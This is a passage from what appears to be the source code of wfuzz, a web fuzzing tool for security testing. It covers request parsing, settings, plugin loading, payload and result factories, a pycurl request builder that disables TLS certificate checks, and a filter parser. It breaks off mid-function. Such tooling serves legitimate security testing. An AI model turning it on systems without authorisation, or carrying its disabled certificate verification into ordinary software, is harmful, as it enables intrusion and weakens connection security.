    "content": "from .TextParser import TextParser\nimport json\n\n\nclass Variable:\n    def __init__(self, name, value=\"\", extraInfo=\"\"):\n        self.name = name\n        self.value = value\n        self.initValue = value\n        self.extraInfo = extraInfo\n\n    def restore(self):\n        self.value = self.initValue\n\n    def change(self, newval):\n        self.initValue = self.value = newval\n\n    def update(self, val):\n        self.value = val\n\n    def append(self, val):\n        self.value += val\n\n    def __str__(self):\n        return \"[ %s : %s ]\" % (self.name, self.value)\n\n\nclass VariablesSet:\n    def __init__(self):\n        self.variables = []\n        self.boundary = None\n\n    def names(self):\n        dicc = []\n        for i in self.variables:\n            dicc.append(i.name)\n\n        return dicc\n\n    def existsVar(self, name):\n        return name in self.names()\n\n    def addVariable(self, name, value=\"\", extraInfo=\"\"):\n        self.variables.append(Variable(name, value, extraInfo))\n\n    def getVariable(self, name):\n        dicc = []\n        for i in self.variables:\n            if i.name == name:\n                dicc.append(i)\n\n        if len(dicc) > 1:\n            raise Exception(\"Variable exists more than one time!!! :D\" % (name))\n\n        if not dicc:\n            var = Variable(name)\n            self.variables.append(var)\n            return var\n\n        return dicc[0]\n\n    def urlEncoded(self):\n        return \"&\".join(\n            [\n                \"=\".join([i.name, i.value]) if i.value is not None else i.name\n                for i in self.variables\n            ]\n        )\n\n    def json_encoded(self):\n        dicc = {i.name: i.value for i in self.variables}\n\n        return json.dumps(dicc)\n\n    def parse_json_encoded(self, cad):\n        dicc = []\n\n        for key, value in json.loads(cad).items():\n            dicc.append(Variable(key, value))\n\n        self.variables = dicc\n\n    def parseUrlEncoded(self, cad):\n        dicc = []\n\n        if cad == \"\":\n            dicc.append(Variable(\"\", None))\n\n        for i in cad.split(\"&\"):\n            if i:\n                var_list = i.split(\"=\", 1)\n                if len(var_list) == 1:\n                    dicc.append(Variable(var_list[0], None))\n                elif len(var_list) == 2:\n                    dicc.append(Variable(var_list[0], var_list[1]))\n\n        self.variables = dicc\n\n    def multipartEncoded(self):\n        if not self.boundary:\n            self.boundary = \"---------------------------D33PB1T0R3QR3SP0B0UND4RY2203\"\n        pd = \"\"\n        for i in self.variables:\n            pd += \"--\" + self.boundary + \"\\r\\n\"\n            pd += \"%s\\r\\n\\r\\n%s\\r\\n\" % (\"\\r\\n\".join(i.extraInfo), i.value)\n        pd += \"--\" + self.boundary + \"--\\r\\n\"\n        return pd\n\n    def parseMultipart(self, cad, boundary):\n        self.boundary = boundary\n        dicc = []\n        tp = TextParser()\n        tp.setSource(\"string\", cad)\n\n        while True:\n            headers = []\n            if not tp.readUntil('name=\"([^\"]+)\"'):\n                break\n            var = tp[0][0]\n            headers.append(tp.lastFull_line.strip())\n            while True:\n                tp.readLine()\n                if tp.search(\"^([^:]+): (.*)$\"):\n                    headers.append(tp.lastFull_line.strip())\n                else:\n                    break\n\n            value = \"\"\n            while True:\n                tp.readLine()\n                if not tp.search(boundary):\n                    value += tp.lastFull_line\n                else:\n                    break\n\n            if value[-2:] == \"\\r\\n\":\n                value = value[:-2]\n\n            dicc.append(Variable(var, value.strip(), headers))\n\n        self.variables = dicc\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/__init__.py",
    "content": "from .Request import Request\nfrom .Response import Response\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/cache.py",
    "content": "from collections import defaultdict\n\n\nclass HttpCache:\n    def __init__(self):\n        # cache control\n        self.__cache_map = defaultdict(list)\n\n    def update_cache(self, req, category=\"default\"):\n        key = req.to_cache_key()\n\n        # first hit\n        if key not in self.__cache_map:\n            self.__cache_map[key].append(category)\n            return True\n        elif key in self.__cache_map and category not in self.__cache_map[key]:\n            self.__cache_map[key].append(category)\n            return True\n\n        return False\n\n    def msg_in_cache(self, req, category=\"default\"):\n        key = req.to_cache_key()\n\n        return key in self.__cache_map and category in self.__cache_map[key]\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/exceptions.py",
    "content": "class ReqRespException(Exception):\n    FATAL, RESOLVE_PROXY, RESOLVE_HOST, CONNECT_HOST, SSL, TIMEOUT = list(range(6))\n\n    def __init__(self, etype, msg):\n        self.etype = etype\n        self.msg = msg\n        Exception.__init__(self, msg)\n"
  },
  {
    "path": "src/wfuzz/externals/settings/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/externals/settings/settings.py",
    "content": "# Python 2 and 3 (after ``pip install configparser``):\ntry:\n    from configparser import ConfigParser\nexcept ImportError:\n    import ConfigParser\nimport os\nimport sys\n\n\nclass SettingsBase:\n    \"\"\"\n    Contains application settings. uses a ConfigParser\n    \"\"\"\n\n    def __init__(self, save=False):\n        self.cparser = ConfigParser()\n\n        self.set_all(self.set_defaults())\n        self.filename = os.path.join(\n            self._path_to_program_dir(), self.get_config_file()\n        )\n        self.cparser.read(self.filename)\n\n    # Base members should implement\n\n    def get_config_file(self):\n        \"\"\"Returns the name of the file where the config is saved.\"\"\"\n        raise NotImplementedError\n\n    def set_defaults(self):\n        \"\"\"\n        Returns a dictionary with the default settings in the form of\n        { \\\n                Section: [ \\\n                    (\"setting_x\", '5'),\n                    ...\n                    (\"setting_y\", '5'),\n                ],\n        ...\n        }\n        \"\"\"\n        raise NotImplementedError\n\n    def has_option(self, section, setting):\n        return self.cparser.has_option(section, setting)\n\n    def set(self, section, setting, value):\n        self.cparser.set(section, setting, value)\n\n    def get(self, section, setting):\n        value = self.cparser.get(section, setting)\n        return value\n\n    def get_section(self, section):\n        return self.cparser.items(section)\n\n    def get_options(self, section):\n        return self.cparser.options(section)\n\n    def get_sections(self):\n        return self.cparser.sections()\n\n    def get_all(self):\n        sett = {}\n\n        # dump entire config file\n        for section in self.cparser.sections():\n            for option in self.cparser.options(section):\n                if section not in sett:\n                    sett[section] = []\n                sett[section].append((option, self.cparser.get(section, option)))\n\n        return sett\n\n    def set_all(self, sett):\n        self.cparser = ConfigParser()\n        for section, settings in sett.items():\n            self.cparser.add_section(section)\n            for key, value in settings:\n                self.cparser.set(section, key, value)\n\n    def save(self):\n        try:\n            with open(self.filename, \"w\") as iniFile:\n                self.cparser.write(iniFile)\n        except Exception:\n            return False\n        return True\n\n    def _path_to_program_dir(self):\n        \"\"\"\n        Returns path to program directory\n        \"\"\"\n        path = sys.argv[0]\n\n        if not os.path.isdir(path):\n            path = os.path.dirname(path)\n\n        if not path:\n            return \".\"\n\n        return path\n"
  },
  {
    "path": "src/wfuzz/facade.py",
    "content": "from .helpers.file_func import get_home, get_path, get_config_dir\nfrom .helpers.obj_factory import Singleton\nfrom . import __version__ as version\nfrom .externals.moduleman.registrant import MulRegistrant\nfrom .externals.moduleman.loader import DirLoader\nfrom .externals.settings.settings import SettingsBase\nfrom .exception import FuzzExceptNoPluginError, FuzzExceptPluginLoadError\n\nimport os\n\n\nERROR_CODE = -1\nBASELINE_CODE = -2\n\n\nclass Settings(SettingsBase):\n    def get_config_file(self):\n        config_file = \"wfuzz.ini\"\n\n        config = os.path.join(get_config_dir(check=False), config_file)\n        legacy_config = os.path.join(get_home(check=False), config_file)\n\n        if os.path.exists(config):\n            return config\n        elif os.path.exists(legacy_config):\n            return legacy_config\n        return os.path.join(get_config_dir(check=True), config_file)\n\n    def set_defaults(self):\n        return dict(\n            plugins=[(\"bing_apikey\", \"\"), (\"shodan_apikey\", \"\")],\n            kbase=[\n                (\n                    \"discovery.blacklist\",\n                    \".svg-.css-.js-.jpg-.gif-.png-.jpeg-.mov-.avi-.flv-.ico\",\n                )\n            ],\n            connection=[\n                (\"concurrent\", \"10\"),\n                (\"conn_delay\", \"90\"),\n                (\"req_delay\", \"90\"),\n                (\"retries\", \"3\"),\n                (\"User-Agent\", \"Wfuzz/%s\" % version),\n            ],\n            general=[\n                (\"default_printer\", \"raw\"),\n                (\"cancel_on_plugin_except\", \"0\"),\n                (\"concurrent_plugins\", \"3\"),\n                (\"lookup_dirs\", \".\"),\n                (\"encode_space\", \"1\"),\n            ],\n        )\n\n\nclass MyRegistrant(MulRegistrant):\n    def get_plugin(self, identifier):\n        try:\n            return MulRegistrant.get_plugin(self, identifier)\n        except KeyError as e:\n            raise FuzzExceptNoPluginError(\n                \"Requested plugin %s. Error: %s\" % (identifier, str(e))\n            )\n\n\nclass Facade(metaclass=Singleton):\n    def __init__(self):\n\n        self.__plugins = dict(\n            printers=None, scripts=None, encoders=None, iterators=None, payloads=None,\n        )\n\n        self.sett = Settings()\n\n    def _load(self, cat):\n        try:\n            if cat not in self.__plugins:\n                raise FuzzExceptNoPluginError(\"Non-existent plugin category %s\" % cat)\n\n            if not self.__plugins[cat]:\n                loader_list = []\n                loader_list.append(\n                    DirLoader(**{\"base_dir\": cat, \"base_path\": get_path(\"../plugins\")})\n                )\n                loader_list.append(\n                    DirLoader(**{\"base_dir\": cat, \"base_path\": get_home()})\n                )\n                self.__plugins[cat] = MyRegistrant(loader_list)\n\n            return self.__plugins[cat]\n        except Exception as e:\n            raise FuzzExceptPluginLoadError(\"Error loading plugins: %s\" % str(e))\n\n    def proxy(self, which):\n        return self._load(which)\n\n    def get_registrants(self):\n        return self.__plugins.keys()\n\n    def __getattr__(self, name):\n        if name in [\"printers\", \"payloads\", \"iterators\", \"encoders\", \"scripts\"]:\n            return self._load(name)\n        else:\n            raise AttributeError\n"
  },
  {
    "path": "src/wfuzz/factories/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/factories/dictfactory.py",
    "content": "# Python 2 and 3: zip_longest\ntry:\n    from itertools import zip_longest\nexcept ImportError:\n    from itertools import izip_longest as zip_longest\n\nfrom ..helpers.obj_factory import ObjectFactory\nfrom ..exception import FuzzExceptBadOptions\nfrom ..facade import Facade\nfrom ..dictionaries import (\n    TupleIt,\n    WrapperIt,\n    SliceIt,\n    EncodeIt,\n    AllVarDictio,\n)\n\n\nclass DictionaryFactory(ObjectFactory):\n    def __init__(self):\n        ObjectFactory.__init__(\n            self,\n            {\n                \"dictio_from_iterable\": DictioFromIterableBuilder(),\n                \"dictio_from_payload\": DictioFromPayloadBuilder(),\n                \"dictio_from_allvar\": DictioFromAllVarBuilder(),\n                \"dictio_from_options\": DictioFromOptions(),\n            },\n        )\n\n\nclass BaseDictioBuilder:\n    @staticmethod\n    def validate(options, selected_dic):\n        if not selected_dic:\n            raise FuzzExceptBadOptions(\"Empty dictionary! Check payload and filter\")\n\n        if len(selected_dic) == 1 and options[\"iterator\"]:\n            raise FuzzExceptBadOptions(\n                \"Several dictionaries must be used when specifying an iterator\"\n            )\n\n    @staticmethod\n    def get_dictio(options, selected_dic):\n        if len(selected_dic) == 1:\n            return TupleIt(selected_dic[0])\n        elif options[\"iterator\"]:\n            return Facade().iterators.get_plugin(options[\"iterator\"])(*selected_dic)\n        else:\n            return Facade().iterators.get_plugin(\"product\")(*selected_dic)\n\n\nclass DictioFromIterableBuilder(BaseDictioBuilder):\n    def __call__(self, options):\n        selected_dic = []\n        self._payload_list = []\n\n        for d in [WrapperIt(x) for x in options[\"dictio\"]]:\n            selected_dic.append(d)\n\n        self.validate(options, selected_dic)\n\n        return self.get_dictio(options, selected_dic)\n\n\nclass DictioFromPayloadBuilder(BaseDictioBuilder):\n    def __call__(self, options):\n        selected_dic = []\n\n        for payload in options[\"payloads\"]:\n            try:\n                name, params, slicestr = [\n                    x[0] for x in zip_longest(payload, (None, None, None))\n                ]\n            except ValueError:\n                raise FuzzExceptBadOptions(\n                    \"You must supply a list of payloads in the form of [(name, {params}), ... ]\"\n                )\n\n            if not params:\n                raise FuzzExceptBadOptions(\n                    \"You must supply a list of payloads in the form of [(name, {params}), ... ]\"\n                )\n\n            dictionary = Facade().payloads.get_plugin(name)(params)\n            if \"encoder\" in params and params[\"encoder\"] is not None:\n                dictionary = EncodeIt(dictionary, params[\"encoder\"])\n\n            selected_dic.append(\n                SliceIt(dictionary, slicestr) if slicestr else dictionary\n            )\n\n        self.validate(options, selected_dic)\n\n        return self.get_dictio(options, selected_dic)\n\n\nclass DictioFromAllVarBuilder(BaseDictioBuilder):\n    @staticmethod\n    def from_all_fuzz_request_gen(options, dictio_list):\n        for payload in dictio_list:\n            if len(payload) > 1:\n                raise FuzzExceptBadOptions(\n                    \"Only one payload is allowed when fuzzing all parameters!\"\n                )\n\n            for var_name in options[\"compiled_seed\"].history.wf_allvars_set.keys():\n                yield (var_name, payload[0])\n\n    def __call__(self, options):\n        dictio_list = DictioFromOptions()(options)\n\n        return AllVarDictio(\n            self.from_all_fuzz_request_gen(options, dictio_list),\n            dictio_list.count() * len(options[\"compiled_seed\"].history.wf_allvars_set),\n        )\n\n\nclass DictioFromOptions(BaseDictioBuilder):\n    def __call__(self, options):\n        if options[\"dictio\"]:\n            return DictioFromIterableBuilder()(options)\n        else:\n            return DictioFromPayloadBuilder()(options)\n\n\ndictionary_factory = DictionaryFactory()\n"
  },
  {
    "path": "src/wfuzz/factories/fuzzfactory.py",
    "content": "from ..fuzzrequest import FuzzRequest\n\nfrom ..helpers.obj_factory import ObjectFactory, SeedBuilderHelper\n\n\nclass FuzzRequestFactory(ObjectFactory):\n    def __init__(self):\n        ObjectFactory.__init__(\n            self,\n            {\n                \"request_from_options\": RequestBuilder(),\n                \"seed_from_options\": SeedBuilder(),\n            },\n        )\n\n\nclass RequestBuilder:\n    def __call__(self, options):\n        fr = FuzzRequest()\n\n        fr.url = options[\"url\"]\n        fr.wf_fuzz_methods = options[\"method\"]\n        fr.update_from_options(options)\n\n        return fr\n\n\nclass SeedBuilder:\n    def __call__(self, options):\n        seed = reqfactory.create(\"request_from_options\", options)\n        marker_dict = SeedBuilderHelper.get_marker_dict(seed)\n        SeedBuilderHelper.remove_baseline_markers(seed, marker_dict)\n\n        return seed\n\n\nreqfactory = FuzzRequestFactory()\n"
  },
  {
    "path": "src/wfuzz/factories/fuzzresfactory.py",
    "content": "import copy\n\nfrom .fuzzfactory import reqfactory\nfrom .payman import payman_factory\n\nfrom ..fuzzobjects import FuzzResult, FuzzType, FuzzWord, FuzzWordType\nfrom ..helpers.obj_factory import ObjectFactory, SeedBuilderHelper\n\n\nclass FuzzResultFactory(ObjectFactory):\n    def __init__(self):\n        ObjectFactory.__init__(\n            self,\n            {\n                \"fuzzres_from_options_and_dict\": FuzzResultDictioBuilder(),\n                \"fuzzres_from_allvar\": FuzzResultAllVarBuilder(),\n                \"fuzzres_from_recursion\": FuzzResRecursiveBuilder(),\n                \"seed_from_recursion\": SeedRecursiveBuilder(),\n                \"seed_from_options\": SeedResultBuilder(),\n                \"seed_from_options_and_dict\": FuzzResultDictSeedBuilder(),\n                \"baseline_from_options\": BaselineResultBuilder(),\n            },\n        )\n\n\nclass FuzzResultDictioBuilder:\n    def __call__(self, options, dictio_item):\n        res = copy.deepcopy(options[\"compiled_seed\"])\n        res.item_type = FuzzType.RESULT\n        res.discarded = False\n        res.payload_man.update_from_dictio(dictio_item)\n        res.update_from_options(options)\n\n        SeedBuilderHelper.replace_markers(res.history, res.payload_man)\n        res.nres = next(FuzzResult.newid)\n\n        return res\n\n\nclass SeedResultBuilder:\n    def __call__(self, options):\n        seed = reqfactory.create(\"seed_from_options\", options)\n        res = FuzzResult(seed)\n        res.payload_man = payman_factory.create(\"payloadman_from_request\", seed)\n\n        return res\n\n\nclass BaselineResultBuilder:\n    def __call__(self, options):\n        raw_seed = reqfactory.create(\"request_from_options\", options)\n        baseline_payloadman = payman_factory.create(\n            \"payloadman_from_baseline\", raw_seed\n        )\n\n        if baseline_payloadman.payloads:\n            res = FuzzResult(raw_seed)\n            res.payload_man = baseline_payloadman\n            res.update_from_options(options)\n            res.is_baseline = True\n\n            SeedBuilderHelper.replace_markers(raw_seed, baseline_payloadman)\n\n            return res\n        else:\n            return None\n\n\nclass FuzzResultAllVarBuilder:\n    def __call__(self, options, var_name, payload):\n        fuzzres = copy.deepcopy(options[\"compiled_seed\"])\n        fuzzres.item_type = FuzzType.RESULT\n        fuzzres.discarded = False\n        fuzzres.payload_man = payman_factory.create(\"empty_payloadman\", payload)\n        fuzzres.payload_man.update_from_dictio([payload])\n        fuzzres.history.wf_allvars_set = {var_name: payload.content}\n        fuzzres.nres = next(FuzzResult.newid)\n\n        return fuzzres\n\n\nclass FuzzResultDictSeedBuilder:\n    def __call__(self, options, dictio):\n        fuzzres = copy.deepcopy(dictio[0].content)\n        fuzzres.history.update_from_options(options)\n        fuzzres.update_from_options(options)\n        fuzzres.payload_man = payman_factory.create(\"empty_payloadman\", dictio[0])\n        fuzzres.payload_man.update_from_dictio(dictio)\n\n        return fuzzres\n\n\nclass SeedRecursiveBuilder:\n    def __call__(self, seed):\n        new_seed = copy.deepcopy(seed)\n        new_seed.history.url = seed.history.recursive_url + \"FUZZ\"\n        new_seed.rlevel += 1\n        if new_seed.rlevel_desc:\n            new_seed.rlevel_desc += \" - \"\n        new_seed.rlevel_desc += seed.payload_man.description()\n        new_seed.item_type = FuzzType.SEED\n        new_seed.discarded = False\n        new_seed.payload_man = payman_factory.create(\n            \"payloadman_from_request\", new_seed.history\n        )\n\n        return new_seed\n\n\nclass FuzzResRecursiveBuilder:\n    def __call__(self, seed, url):\n        fr = copy.deepcopy(seed)\n        fr.history.url = str(url)\n        fr.rlevel = seed.rlevel + 1\n        if fr.rlevel_desc:\n            fr.rlevel_desc += \" - \"\n        fr.rlevel_desc += seed.payload_man.description()\n        fr.item_type = FuzzType.BACKFEED\n        fr.discarded = False\n        fr.is_baseline = False\n\n        fr.payload_man = payman_factory.create(\n            \"empty_payloadman\", FuzzWord(url, FuzzWordType.WORD)\n        )\n\n        return fr\n\n\nresfactory = FuzzResultFactory()\n"
  },
  {
    "path": "src/wfuzz/factories/payman.py",
    "content": "from ..fuzzobjects import FPayloadManager, FuzzWord, FuzzWordType\n\nfrom ..helpers.obj_factory import ObjectFactory, SeedBuilderHelper\n\n\nclass PayManFactory(ObjectFactory):\n    def __init__(self):\n        ObjectFactory.__init__(\n            self,\n            {\n                \"payloadman_from_baseline\": BaselinePayloadManBuilder(),\n                \"payloadman_from_request\": FuzzReqPayloadManBuilder(),\n                \"empty_payloadman\": OnePayloadManBuilder(),\n            },\n        )\n\n\nclass FuzzReqPayloadManBuilder:\n    def __call__(self, freq):\n        fpm = FPayloadManager()\n\n        for pdict in [\n            pdict\n            for pdict in SeedBuilderHelper.get_marker_dict(freq)\n            if pdict[\"word\"] is not None\n        ]:\n            fpm.add(pdict)\n\n        return fpm\n\n\nclass OnePayloadManBuilder:\n    def __call__(self, content):\n        fpm = FPayloadManager()\n        fpm.add(\n            {\"full_marker\": None, \"word\": None, \"index\": None, \"field\": None}, content\n        )\n\n        return fpm\n\n\nclass BaselinePayloadManBuilder:\n    def __call__(self, freq):\n        fpm = FPayloadManager()\n\n        for pdict in [\n            pdict\n            for pdict in SeedBuilderHelper.get_marker_dict(freq)\n            if pdict[\"bl_value\"] is not None\n        ]:\n            fpm.add(pdict, FuzzWord(pdict[\"bl_value\"], FuzzWordType.WORD), True)\n\n        return fpm\n\n\npayman_factory = PayManFactory()\n"
  },
  {
    "path": "src/wfuzz/factories/plugin_factory.py",
    "content": "from ..helpers.obj_factory import ObjectFactory\n\nfrom ..fuzzobjects import FuzzPlugin, FuzzError\nfrom ..factories.fuzzresfactory import resfactory\n\n\nclass PluginFactory(ObjectFactory):\n    def __init__(self):\n        ObjectFactory.__init__(\n            self,\n            {\n                \"plugin_from_recursion\": PluginRecursiveBuilder(),\n                \"plugin_from_error\": PluginErrorBuilder(),\n                \"plugin_from_finding\": PluginFindingBuilder(),\n                \"plugin_from_summary\": PluginFindingSummaryBuilder(),\n            },\n        )\n\n\nclass PluginRecursiveBuilder:\n    def __call__(self, name, seed, url):\n        plugin = FuzzPlugin()\n        plugin.source = name\n        plugin._exception = None\n        plugin._seed = resfactory.create(\"fuzzres_from_recursion\", seed, url)\n\n        return plugin\n\n\nclass PluginErrorBuilder:\n    def __call__(self, name, exception):\n        plugin = FuzzPlugin()\n        plugin.source = name\n        plugin.issue = \"Exception within plugin %s: %s\" % (name, str(exception))\n        plugin._exception = FuzzError(exception)\n        plugin._seed = None\n\n        return plugin\n\n\nclass PluginFindingBuilder:\n    def __call__(self, name, itype, message, data, severity):\n        plugin = FuzzPlugin()\n        plugin.source = name\n        plugin.issue = message\n        plugin.itype = itype\n        plugin.data = data\n        plugin._exception = None\n        plugin._seed = None\n        plugin.severity = severity\n\n        return plugin\n\n\nclass PluginFindingSummaryBuilder:\n    def __call__(self, message):\n        plugin = FuzzPlugin()\n        plugin.source = FuzzPlugin.OUTPUT_SOURCE\n        plugin.itype = FuzzPlugin.SUMMARY_ITYPE\n        plugin.severity = FuzzPlugin.NONE\n        plugin._exception = None\n        plugin.data = None\n        plugin._seed = None\n        plugin.issue = message\n\n        return plugin\n\n\nplugin_factory = PluginFactory()\n"
  },
  {
    "path": "src/wfuzz/factories/reqresp_factory.py",
    "content": "import abc\n\nimport pycurl\n\nfrom ..helpers.obj_factory import HttpRequestFactory\nfrom ..helpers.str_func import (\n    python2_3_convert_to_unicode,\n    python2_3_convert_from_unicode,\n)\n\n\nfrom ..externals.reqresp import Response\n\n\nPYCURL_PATH_AS_IS = True\nif not hasattr(pycurl, \"PATH_AS_IS\"):\n    PYCURL_PATH_AS_IS = False\n\n\nclass ReqRespRequestFactory(HttpRequestFactory):\n    def to_http_object(options, req, pycurl_c):\n        pycurl_c.setopt(pycurl.MAXREDIRS, 5)\n\n        pycurl_c.setopt(pycurl.WRITEFUNCTION, req._request.body_callback)\n        pycurl_c.setopt(pycurl.HEADERFUNCTION, req._request.header_callback)\n\n        pycurl_c.setopt(pycurl.NOSIGNAL, 1)\n        pycurl_c.setopt(pycurl.SSL_VERIFYPEER, False)\n        pycurl_c.setopt(pycurl.SSL_VERIFYHOST, 0)\n\n        if PYCURL_PATH_AS_IS:\n            pycurl_c.setopt(pycurl.PATH_AS_IS, 1)\n\n        pycurl_c.setopt(\n            pycurl.URL, python2_3_convert_to_unicode(req._request.completeUrl)\n        )\n\n        if req._request.getConnTimeout():\n            pycurl_c.setopt(pycurl.CONNECTTIMEOUT, req._request.getConnTimeout())\n\n        if req._request.getTotalTimeout():\n            pycurl_c.setopt(pycurl.TIMEOUT, req._request.getTotalTimeout())\n\n        authMethod, userpass = req._request.getAuth()\n        if authMethod or userpass:\n            if authMethod == \"basic\":\n                pycurl_c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)\n            elif authMethod == \"ntlm\":\n                pycurl_c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_NTLM)\n            elif authMethod == \"digest\":\n                pycurl_c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)\n            pycurl_c.setopt(pycurl.USERPWD, python2_3_convert_to_unicode(userpass))\n        else:\n            pycurl_c.unsetopt(pycurl.USERPWD)\n\n        pycurl_c.setopt(\n            pycurl.HTTPHEADER, python2_3_convert_to_unicode(req._request.getHeaders())\n        )\n\n        curl_options = {\n            \"GET\": pycurl.HTTPGET,\n            \"POST\": pycurl.POST,\n            \"PATCH\": pycurl.UPLOAD,\n            \"HEAD\": pycurl.NOBODY,\n        }\n\n        for verb in curl_options.values():\n            pycurl_c.setopt(verb, False)\n\n        if req._request.method in curl_options:\n            pycurl_c.unsetopt(pycurl.CUSTOMREQUEST)\n            pycurl_c.setopt(curl_options[req._request.method], True)\n        else:\n            pycurl_c.setopt(pycurl.CUSTOMREQUEST, req._request.method)\n\n        if req._request._non_parsed_post is not None:\n            pycurl_c.setopt(\n                pycurl.POSTFIELDS,\n                python2_3_convert_to_unicode(req._request._non_parsed_post),\n            )\n\n        pycurl_c.setopt(pycurl.FOLLOWLOCATION, 1 if req._request.followLocation else 0)\n\n        # proxy = req._request.getProxy()\n        # if proxy is not None:\n        #     pycurl_c.setopt(pycurl.PROXY, python2_3_convert_to_unicode(proxy))\n        #     if req._request.proxytype == \"SOCKS5\":\n        #         pycurl_c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5)\n        #     elif req._request.proxytype == \"SOCKS4\":\n        #         pycurl_c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS4)\n        #     req._request.delHeader(\"Proxy-Connection\")\n        # else:\n        #     pycurl_c.setopt(pycurl.PROXY, \"\")\n\n        if req.wf_ip:\n            pycurl_c.setopt(\n                pycurl.CONNECT_TO,\n                [\"::{}:{}\".format(req.wf_ip[\"ip\"], req.wf_ip[\"port\"])],\n            )\n\n        return pycurl_c\n\n    def from_http_object(options, req, pycurl_c, header, body):\n        raw_header = python2_3_convert_from_unicode(\n            header.decode(\"utf-8\", errors=\"surrogateescape\")\n        )\n\n        if pycurl_c.getinfo(pycurl.EFFECTIVE_URL) != req._request.completeUrl:\n            req._request.setFinalUrl(pycurl_c.getinfo(pycurl.EFFECTIVE_URL))\n\n        req._request.totaltime = pycurl_c.getinfo(pycurl.TOTAL_TIME)\n\n        req._request.response = Response()\n        req._request.response.parseResponse(raw_header, rawbody=body)\n\n        return req._request.response\n"
  },
  {
    "path": "src/wfuzz/filters/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/filters/ppfilter.py",
    "content": "from ..exception import FuzzExceptIncorrectFilter, FuzzExceptBadOptions\nfrom ..helpers.obj_dyn import (\n    rgetattr,\n    rsetattr,\n)\nfrom ..helpers.str_func import value_in_any_list_item\nfrom ..helpers.obj_dic import DotDict\nfrom ..helpers.utils import diff\n\nimport re\nimport collections\nimport operator\n\n# Python 2 and 3: alternative 4\ntry:\n    from urllib.parse import unquote\nexcept ImportError:\n    from urllib import unquote\n\nfrom ..facade import Facade, ERROR_CODE\n\n\nPYPARSING = True\ntry:\n    from pyparsing import (\n        Word,\n        Group,\n        oneOf,\n        Optional,\n        Suppress,\n        ZeroOrMore,\n        Literal,\n        QuotedString,\n        ParseException,\n        Regex,\n    )\nexcept ImportError:\n    PYPARSING = False\n\n\nclass FuzzResFilter:\n    FUZZ_MARKER_REGEX = re.compile(r\"FUZ\\d*Z\", re.MULTILINE | re.DOTALL)\n\n    def __init__(self, filter_string=None):\n        self.filter_string = filter_string\n        self.baseline = None\n\n        quoted_str_value = QuotedString(\"'\", unquoteResults=True, escChar=\"\\\\\")\n        int_values = Word(\"0123456789\").setParseAction(lambda s, l, t: [int(t[0])])\n        error_value = Literal(\"XXX\").setParseAction(self.__compute_xxx_value)\n\n        operator_call = Regex(\n            r\"\\|(?P<operator>(m|d|e|un|u|r|l|sw|gre|gregex|unique|startswith|decode|encode|unquote|replace|lower|upper))\"\n            r\"\\((?:(?P<param1>('.*?'|\\d+))(?:,(?P<param2>('.*?'|\\d+)))?)?\\)\",\n            asMatch=True,\n        ).setParseAction(lambda s, l, t: [(l, t[0])])\n\n        fuzz_symbol = Regex(\n            r\"FUZ(?P<index>\\d)*Z(?:\\[(?P<field>(\\w|_|-|\\.)+)\\])?\", asMatch=True\n        ).setParseAction(self._compute_fuzz_symbol)\n        res_symbol = Regex(\n            r\"(description|nres|code|chars|lines|words|md5|content|timer|url|l|w|c|(r|history|plugins)(\\w|_|-|\\.)*|h)\"\n        ).setParseAction(self._compute_res_symbol)\n        bbb_symbol = Regex(\n            r\"BBB(?:\\[(?P<field>(\\w|_|-|\\.)+)\\])?\", asMatch=True\n        ).setParseAction(self.__compute_bbb_symbol)\n\n        diff_call = Group(\n            Suppress(Literal(\"|\"))\n            + Literal(\"diff\")\n            + Suppress(Literal(\"(\"))\n            + (fuzz_symbol | res_symbol | bbb_symbol | int_values | quoted_str_value)\n            + Suppress(\")\")\n        )\n\n        fuzz_statement = Group(\n            (fuzz_symbol | res_symbol | bbb_symbol | int_values | quoted_str_value)\n            + Optional(diff_call | operator_call, None)\n        ).setParseAction(self.__compute_res_value)\n\n        operator = oneOf(\"and or\")\n        not_operator = Optional(oneOf(\"not\"), \"notpresent\")\n\n        symbol_expr = Group(\n            fuzz_statement\n            + oneOf(\"= == != < > >= <= =~ !~ ~ := =+ =-\")\n            + (error_value | fuzz_statement)\n        ).setParseAction(self.__compute_expr)\n\n        definition = symbol_expr ^ fuzz_statement\n        definition_not = not_operator + definition\n        definition_expr = definition_not + ZeroOrMore(operator + definition_not)\n\n        nested_definition = Group(Suppress(\"(\") + definition_expr + Suppress(\")\"))\n        nested_definition_not = not_operator + nested_definition\n\n        self.finalformula = (nested_definition_not | definition_expr) + ZeroOrMore(\n            operator + (nested_definition_not | definition_expr)\n        )\n\n        definition_not.setParseAction(self.__compute_not_operator)\n        nested_definition_not.setParseAction(self.__compute_not_operator)\n        nested_definition.setParseAction(self.__compute_formula)\n        self.finalformula.setParseAction(self.__myreduce)\n\n        self.res = None\n        self.stack = []\n        self._cache = collections.defaultdict(set)\n\n    def set_baseline(self, res):\n        self.baseline = res\n\n    def _compute_res_symbol(self, tokens):\n        return self._get_field_value(self.res, tokens[0])\n\n    def _compute_fuzz_symbol(self, tokens):\n        match_dict = tokens[0].groupdict()\n        p_index = int(match_dict[\"index\"]) if match_dict[\"index\"] is not None else 1\n        fuzz_val = None\n\n        try:\n            fuzz_val = self.res.payload_man.get_payload_content(p_index)\n        except IndexError:\n            raise FuzzExceptIncorrectFilter(\n                \"Non existent FUZZ payload! Use a correct index.\"\n            )\n\n        if match_dict[\"field\"]:\n            fuzz_val = self._get_field_value(fuzz_val, match_dict[\"field\"])\n\n        return fuzz_val\n\n    def __compute_res_value(self, tokens):\n        fuzz_val, token_tuple = tokens[0]\n\n        if token_tuple:\n            location, operator_match = token_tuple\n\n            if location == \"diff\":\n                return diff(operator_match, fuzz_val)\n            else:\n                if operator_match and operator_match.groupdict()[\"operator\"]:\n                    fuzz_val = self._get_operator_value(\n                        location, fuzz_val, operator_match.groupdict()\n                    )\n\n        if isinstance(fuzz_val, list):\n            return [fuzz_val]\n        return fuzz_val\n\n    def _get_payload_value(self, 